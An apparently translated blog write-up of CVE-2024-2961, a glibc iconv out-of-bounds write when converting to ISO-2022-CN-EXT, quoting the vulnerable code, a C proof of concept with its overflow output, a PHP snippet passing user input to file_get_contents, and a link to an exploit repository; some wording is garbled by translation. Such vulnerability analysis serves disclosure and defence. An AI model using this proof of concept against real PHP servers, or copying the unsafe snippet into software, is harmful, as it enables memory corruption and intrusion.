in ,

CVE-2024-2961 glibc API Bug Exploit


iconv()API

When PHP calls iconv, it calls Glibc's APi. The API is as follows:

iconv_t iconv_open(const char *tocode, const char *fromcode);

You can then use iconv() to convert the input buffer to the new character set in the output buffer inbuf.

size_t iconv(iconv_t cd,            
char **restrict inbuf, size_t *restrict inbytesleft,            
char **restrict outbuf, size_t *restrict outbytesleft);

If the output buffer is not large enough, iconv() will return an error.

And you will be able to reallocate outbuf and continue converting by calling iconv() again.

This function guarantees that it will never read more than inbytesleft bytes from inbuf, norWrite toMore than outbytesleft bytes outbuf

Out-of-bounds write when converting to ISO-2022-CN-EXT

As it happens, when converting data to the ISO-2022-CN-EXT character set,

iconvIt may not be possible to check whether there is enough space in the output buffer before writing.

In fact, ISO-2022-CN-EXT is actually a collection of character sets: when it needs to encode a character, it selects the appropriate character set and emits an escape sequence to indicate that the decoder needs to switch to such a character set.

The code below is the part responsible for issuing such escape sequences.

It consists of 3 if blocks, each of which writes a different escape sequence to outbuf (pointed to outptr).

If you look at the first one ((1)), you'll see that it is prefixed with another block,

The if() block checks whether the output buffer is large enough to hold 4 characters.

The other two if()((2)(3)) do not have。Therefore, escape sequences may be written out of bounds.

// iconvdata/iso-2022-cn-ext.c

/* See whether we have to emit an escape sequence.  */
if (set != used)
{
    /* First see whether we announced that we use this
        character set.  */
    if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // (1)
    {
        const char *escseq;

        if (outptr + 4 > outend) // <-------------------- BOUND CHECK
        {
            result = __GCONV_FULL_OUTPUT;
            break;
        }

        assert(used >= 1 && used <= 4);
        escseq = ")A\0\0)G)E" + (used - 1) * 2;
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SO_ann) | (used << 8);
    }
    else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // (2)
    {
        const char *escseq;

        // <-------------------- NO BOUND CHECK

        assert(used == CNS11643_2_set); /* XXX */
        escseq = "*H";
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SS2_ann) | (used << 8);
    }
    else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // (3)
    {
        const char *escseq;

        // <-------------------- NO BOUND CHECK

        assert((used >> 5) >= 3 && (used >> 5) <= 7);
        escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;
        ann = (ann & ~SS3_ann) | (used << 8);
    }
}

In order to trigger the vulnerability, we need iconv() to force an escape sequence to be emitted before the end of the output buffer. For this we can use exotic characters such as: za, ä‚š or.The result is an overflow of 1 to 3 bytes, with the following values:

  • $*H(24 2A 48)

  • $+I(24 2B 49)

  • $+J(24 2B 4A)

  • $+K(24 2B 4B)

  • $+L(24 2B 4C)

  • $+M(24 2B 4D)

A simplePOCDemonstrates this error

/*
$ gcc -o poc ./poc.c && ./poc
*/
...

void hexdump(void *ptr, int buflen)
{
    ...
}

void main()
{
    iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

    char input(0x10) = "AAAAA劄";
    char output(0x10) = {0};

    char *pinput = input;
    char *poutput = output;

    // Same size for input and output buffer: 8 bytes
    size_t sinput = strlen(input);
    size_t soutput = sinput;

    iconv(cd, &pinput, &sinput, &poutput, &soutput);

    printf("Remaining bytes (should be > 0): %zd\n", soutput);

    hexdump(output, 0x10);
}

If garbage characters appear after the execution, it means there is a vulnerability.

$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be  0): -1
000000: 41 41 41 41  41 1b 24 2a  48 00 00 00  00 00 00 00    AAAA A.$* H... ....

Exploiting ICONV Code Execution in PHP

PHP can call iconv when reading files. For example, file_get_contents

<?php
echo file_get_contents($_POST("file"))
?>

Pyaload :https://github.com/weaweawe01/cnext-exploits

What do you think?

Leave a Reply

Your email address will not be published. Required fields are marked *

GIPHY App Key not set. Please check settings

WordPress Plugin abused to install e-skimmers in e-commerce sites

The “White Paper on Data Element Circulation Standardization (2024 Edition)” in which Meiya Pico participated in the compilation was officially released